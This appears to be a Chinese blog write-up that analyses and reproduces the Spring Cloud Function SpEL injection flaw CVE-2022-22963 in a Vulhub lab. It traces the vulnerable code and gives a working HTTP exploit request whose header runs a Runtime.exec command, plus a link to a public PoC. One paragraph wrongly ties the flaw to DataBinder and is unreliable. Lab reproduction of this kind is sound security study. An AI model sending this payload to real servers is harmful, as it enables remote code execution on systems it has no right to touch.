漏洞介绍
Spring Framework 中存在一个远程代码执行漏洞(CVE-2022-22963),Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为 SpEL 表达式进行处理,造成了 SpEL 表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
漏洞范围
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞靶场
使用 Vulhub提供的靶场环境进行复现
使用环境为Spring Cloud Function 3.2.2
vulhub-master/spring/CVE-2022-22963
1 | docker-compose up -d |
漏洞原理
SpEL表达式基础
SPEL(Spring Expression Language),即 Spring 表达式语言,比 JSP 的 EL 更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEl 可以方便快捷的对 ApplicationContext中 的 Bean 进行属性的装配和提取。
基础用法
如下是 [SpEL 表达式](https://so.csdn.net/so/search?q=SpEL 表达式&spm=1001.2101.3001.7020)求值的一个简单案例:
1 | //创建解析器 |
上述流程分为 4 步:
- 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
- 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
- 构造上下文:上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值;
- 表达式求值:通过 Expression 接口的
getValue方法根据上下文获得表达式值。
其中,第三步构造上下文并不是必需的步骤,在不配置的情况下具有默认类型的上下文(StandardEvaluationContext),故以下代码示例与上面代码等价:
1 | //创建解析器 |
安全风险
SpeL 表达式语言在 EvaluationContext 上下文类型除了提供默认的 StandardEvaluationContext外,还提供了 SimpleEvaluationContext。
【风险】SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用,而 StandardEvaluationContext 是支持全部 SpEL 语法的,它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行,因为 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 来调用任意类方法,比如以下示例代码将在 Windows 系统上执行运行计算器的指令:
1 | String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")"; |
与此同时,由于在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,所以默认情况下 SpEL 表达式求值存在代码注入导致 RCE 的风险。
漏洞的核心在于 Spring MVC 和 Spring WebFlux 模块中对 DataBinder 的使用。DataBinder 是 Spring 中用于绑定请求参数到 JavaBean 的工具,但当攻击者构造恶意的请求参数时,可能会触发 DataBinder 的 SpelExpressionParser,从而执行任意代码。
在CVE-2022-22963这个漏洞中
通过diff可以发现开发者使用了SimpleEvaluationContext进行SPEL解析,而在此前版本中使用StandardEvaluationContext。

当spring.cloud.function.definition=functionRouter配置开启时,会触发RoutingFunction逻辑,当传入的spring.cloud.function.routing-expression参数可控,SPEL表达式被执行。

在CVE-2022-22963这个漏洞中,如果在 /functionRouter 的 POST 请求头中添加一个 spring.cloud.function.routing-expression 参数,Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。
漏洞分析
在命令执行出下断点,看下程序执行流程。
SpringCloud Function之所以能自动将函数建立http端点,是因为在包mvc.FunctionController中使用/** 监听了get/post类型的所有端点。

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionController.java#L105, L111
- 当一个请求进入时,程序首先基于Springboot的自动配置,将配置文件注入到functionProperties,随后将以“WebRequestConstants.handler”为key,function为值添加到request数组里面。

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionHandlerMapping.java#L42-L44, L56-L57

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionHandlerMapping.java#L104
- 请求正式进入Controller节点,Controller首先会将请求使用wrapper进行包装,wrapper就是将request转成FunctionInvocationWrapper 格式。

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionController.java#L108
- 随后进入processRequest 对request进行处理,执行function的apply方法,跳转到doApply()时会对function进行判断,判断是不是functionRouter方法,根据咱们的配置文件此时的function为
RoutingFunction.FUNCTION_NAME既functionRouter所以会,一路跳转到RoutingFunction.route

spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/catalog/SimpleFunctionRegistry.java#L698

spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L84-L87

spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L103-L177
- 随后进入else if 分支, http头
spring.cloud.function.routing-expression不为空,则传入其值到functionFromExpression方法。
spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L127
- 使用标准的
StandardEvaluationContext对header的值进行SpEL表达式解析:

src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L195-L210

src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L61, L63
后续就不用再跟下去了,至此可以发现,只要通过环境变量、配置文件或者参数等方式配置为spring.cloud.function.definition=functionRouter 即可触发SpEL注入。
漏洞复现
访问靶场页面
打开浏览器,访问靶场地址:http://127.0.0.1:8080/。是SpringBoot的一个白页面

构造恶意请求
使用以下 HTTP 请求构造恶意的 Spel 表达式:1
2
3
4
5
6
7
8
9
10
11
12POST /functionRouter
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test验证漏洞
如果漏洞存在,目标服务器将在/tmp下创建一个success的文件此时进入容器命令行
docker exec -it [容器id] /bin/bash查看
/tmp目录下文件1
ls /tmp

复现成功
poc使用
https://github.com/dinosn/CVE-2022-22963
1 | python poc.py url.txt |

参考
https://zhuanlan.zhihu.com/p/564586280
https://blog.csdn.net/weixin_39190897/article/details/134757313
https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw
SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963) - 9eek - 博客园 (cnblogs.com)